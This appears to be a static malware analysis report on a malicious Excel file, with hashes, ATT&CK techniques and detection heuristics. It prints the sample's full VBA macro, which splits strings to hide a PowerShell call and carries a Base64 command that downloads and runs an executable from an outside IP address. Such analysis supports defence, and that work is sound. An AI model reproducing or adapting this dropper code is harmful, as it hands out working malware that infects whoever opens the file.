Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 db031b1220c7998e…

MALICIOUS

Office (OOXML)

31.9 KB Created: 2020-01-28 19:47:00 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-10-24
MD5: 831446aef637b9309f69cb21608862c5 SHA-1: 88295e423130c001b45e0e1ab9f77cb4acc8e5c8 SHA-256: db031b1220c7998ee5d2d556d703cad0230524d1c42697c48ee6de7701b654a2
160 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.001 PowerShell T1204.002 Malicious File

The document uses a lure to trick the user into enabling macros, which is a common initial access technique. Upon enabling, the VBA macro executes a heavily obfuscated PowerShell command. This command is designed to download and execute a second-stage payload from the URL 'http://13.92.10.208/off/of3eXep'. The PowerShell command itself is obfuscated using Base64 encoding.

Heuristics 4

  • VBA project inside OOXML medium 2 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2590 bytes
SHA-256: 8d86f528510a5f7d469f93040d6fb6fc6a7f8996e7860708b49a1203ba5628f9
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True


Private Sub Workbook_Activate()
On Error Resume Next

Dim bat As String


Dim s As String

s = s + "start "
Dim a As String
s = s + "/MI" + "N C:\Wi" + "ndo"
Dim dfdf As String
s = s + "ws\Sys" + "tem32\" + "Wind" + "owsPo" + "wer"
Dim fwefewf As String
s = s + "She" + "ll\v1.0" + "\pow" + "ersh" + "ell." + "exe"
Dim ewfwef As String
s = s + " -win " + "1 -e" + "nc "


s = s + "JABQAHIAbw"
s = s + "BjAE4AYQBt"
s = s + "AGUAIAA9AC"
s = s + "AAIgBXAGkA"
s = s + "ZAB5AGIAdw"
s = s + "ByAGQAbwBu"
s = s + "AGUAYwB3AH"
s = s + "UAcgBhAHEA"
s = s + "YwB2AHYALg"
s = s + "BlAHgAZQAi"
s = s + "ADsAKABOAG"
s = s + "UAdwAtAE8A"
s = s + "YgBqAGUAYw"
s = s + "B0ACAAUwB5"
s = s + "AHMAdABlAG"
s = s + "0ALgBOAGUA"
s = s + "dAAuAFcAZQ"
s = s + "BiAEMAbABp"
s = s + "AGUAbgB0AC"
s = s + "kALgBEAG8A"
s = s + "dwBuAGwAbw"
s = s + "BhAGQARgBp"
s = s + "AGwAZQAoAC"
s = s + "IAaAB0AHQA"
s = s + "cAA6AC8ALw"
s = s + "AxADMALgA5"
s = s + "ADIALgAxAD"
s = s + "AAMAAuADIA"
s = s + "MAA4AC8Abw"
s = s + "BmAGYALwBv"
s = s + "AGYAZgBpAG"
s = s + "MAZQAuAGUA"
s = s + "eABlACIALA"
s = s + "AiACQAZQBu"
s = s + "AHYAOgBBAF"
s = s + "AAUABEAEEA"
s = s + "VABBAFwAJA"
s = s + "BQAHIAbwBj"
s = s + "AE4AYQBtAG"
s = s + "UAIgApADsA"
s = s + "UwB0AGEAcg"
s = s + "B0AC0AUABy"
s = s + "AG8AYwBlAH"
s = s + "MAcwAgACgA"
s = s + "IgAkAGUAbg"
s = s + "B2ADoAQQBQ"
s = s + "AFAARABBAF"
s = s + "QAQQBcACQA"
s = s + "UAByAG8AYw"
s = s + "BOAGEAbQBl"
s = s + "ACIAKQA="


Dim x As Double

ActiveWorkbook.Save

bat = "Hhjfhpcyj.bat"

Open bat For Output As #1
    Print #1, s
    Close #1
    x = Shell(bat, 0)

End Sub


Attribute VB_Name = "Start"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Workbook"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 20480 bytes
SHA-256: 46578afc7b780fac13c342d4c0dedafca7e6875b9b297501b1f284933e0e6fdd